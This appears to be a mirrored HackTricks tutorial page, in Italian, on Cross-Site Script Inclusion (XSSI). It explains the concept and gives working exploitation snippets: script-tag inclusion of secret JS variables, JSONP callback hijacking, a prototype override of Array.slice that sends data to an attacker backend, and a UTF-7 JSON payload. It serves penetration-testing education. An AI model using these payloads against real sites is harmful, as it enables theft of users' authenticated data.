mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
97 lines
7.9 KiB
Markdown
97 lines
7.9 KiB
Markdown
# XSSI (Cross-Site Script Inclusion)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Altri modi per supportare HackTricks:
|
|
|
|
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
|
|
## Informazioni di base
|
|
|
|
**Cross-Site Script Inclusion (XSSI)** è una vulnerabilità che deriva dalla natura del tag `script` in HTML. A differenza della maggior parte delle risorse, che sono soggette alla **Same-Origin Policy (SOP)**, gli script possono essere inclusi da domini diversi. Questo comportamento è pensato per facilitare l'uso di librerie e altre risorse ospitate su server diversi, ma introduce anche un potenziale rischio per la sicurezza.
|
|
|
|
### Caratteristiche chiave di **XSSI**:
|
|
- **Bypass della SOP**: Gli script sono esenti dalla **Same-Origin Policy**, consentendo loro di essere inclusi tra domini diversi.
|
|
- **Esposizione dei dati**: Un attaccante può sfruttare questo comportamento per leggere i dati caricati tramite il tag `script`.
|
|
- **Impatto su JavaScript dinamico/JSONP**: **XSSI** è particolarmente rilevante per JavaScript dinamico o **JSON con Padding (JSONP)**. Queste tecnologie spesso utilizzano informazioni "ambient-authority" (come i cookie) per l'autenticazione. Quando viene effettuata una richiesta di script a un host diverso, queste credenziali (ad esempio i cookie) vengono automaticamente incluse nella richiesta.
|
|
- **Divulgazione del token di autenticazione**: Se un attaccante può ingannare il browser di un utente affinché richieda uno script da un server da lui controllato, potrebbe essere in grado di accedere a informazioni sensibili contenute in queste richieste.
|
|
|
|
### Tipi
|
|
|
|
1. **JavaScript statico** - Rappresenta la forma convenzionale di XSSI.
|
|
2. **JavaScript statico con autenticazione** - Questo tipo è distinto perché richiede l'autenticazione per accedere.
|
|
3. **JavaScript dinamico** - Coinvolge JavaScript che genera dinamicamente il contenuto.
|
|
4. **Non-JavaScript** - Si riferisce a vulnerabilità che non coinvolgono direttamente JavaScript.
|
|
|
|
**Le seguenti informazioni sono un riassunto di [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)**. Consultalo per ulteriori dettagli.
|
|
|
|
|
|
### XSSI Regolare
|
|
In questo approccio, le informazioni private vengono incorporate in un file JavaScript accessibile globalmente. Gli attaccanti possono individuare questi file utilizzando metodi come la lettura dei file, la ricerca di parole chiave o le espressioni regolari. Una volta individuato, lo script contenente informazioni private può essere incluso in contenuti dannosi, consentendo l'accesso non autorizzato a dati sensibili. Di seguito viene mostrata un esempio di tecnica di sfruttamento:
|
|
```html
|
|
<script src="https://www.vulnerable-domain.tld/script.js"></script>
|
|
<script> alert(JSON.stringify(confidential_keys[0])); </script>
|
|
```
|
|
### Dynamic-JavaScript-based-XSSI e Authenticated-JavaScript-XSSI
|
|
Questi tipi di attacchi XSSI coinvolgono l'aggiunta dinamica di informazioni confidenziali allo script in risposta alla richiesta dell'utente. La rilevazione può essere effettuata inviando richieste con e senza cookie e confrontando le risposte. Se le informazioni differiscono, potrebbe indicare la presenza di informazioni confidenziali. Questo processo può essere automatizzato utilizzando strumenti come l'estensione Burp [DetectDynamicJS](https://github.com/luh2/DetectDynamicJS).
|
|
|
|
Se i dati confidenziali sono memorizzati in una variabile globale, possono essere sfruttati utilizzando metodi simili a quelli utilizzati in Regular XSSI. Tuttavia, se i dati confidenziali sono inclusi in una risposta JSONP, gli attaccanti possono dirottare la funzione di callback per recuperare le informazioni. Ciò può essere fatto manipolando gli oggetti globali o configurando una funzione da eseguire tramite la risposta JSONP, come mostrato di seguito:
|
|
```html
|
|
<script>
|
|
var angular = function () { return 1; };
|
|
angular.callbacks = function () { return 1; };
|
|
angular.callbacks._7 = function (leaked) {
|
|
alert(JSON.stringify(leaked));
|
|
};
|
|
</script>
|
|
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
|
|
```
|
|
|
|
```html
|
|
<script>
|
|
leak = function (leaked) {
|
|
alert(JSON.stringify(leaked));
|
|
};
|
|
</script>
|
|
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
|
|
```
|
|
Per le variabili che non risiedono nello spazio dei nomi globale, talvolta è possibile sfruttare la *manipolazione del prototipo*. Questa tecnica sfrutta il design di JavaScript, in cui l'interpretazione del codice comporta la navigazione nella catena dei prototipi per individuare la proprietà chiamata. Sovrascrivendo determinate funzioni, come `slice` di `Array`, gli attaccanti possono accedere e rivelare variabili non globali:
|
|
```javascript
|
|
Array.prototype.slice = function(){
|
|
// leaks ["secret1", "secret2", "secret3"]
|
|
sendToAttackerBackend(this);
|
|
};
|
|
```
|
|
Ulteriori dettagli sugli vettori di attacco possono essere trovati nel lavoro del ricercatore di sicurezza [Sebastian Lekies](https://twitter.com/slekies), che mantiene una lista di [vettori](http://sebastian-lekies.de/leak/).
|
|
|
|
### Non-Script-XSSI
|
|
La ricerca di Takeshi Terada introduce un'altra forma di XSSI, in cui i file Non-Script, come CSV, vengono divulgati cross-origin includendoli come sorgenti in un tag `script`. Le istanze storiche di XSSI, come l'attacco del 2006 di Jeremiah Grossman per leggere un intero rubrica di Google e la divulgazione di dati JSON del 2007 di Joe Walker, evidenziano la gravità di queste minacce. Inoltre, Gareth Heyes descrive una variante di attacco che coinvolge JSON codificato in UTF-7 per eludere il formato JSON ed eseguire script, efficace in determinati browser:
|
|
```javascript
|
|
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
|
|
```
|
|
|
|
```html
|
|
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
|
|
```
|
|
<details>
|
|
|
|
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Altri modi per supportare HackTricks:
|
|
|
|
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT**](https://opensea.io/collection/the-peass-family) esclusivi
|
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|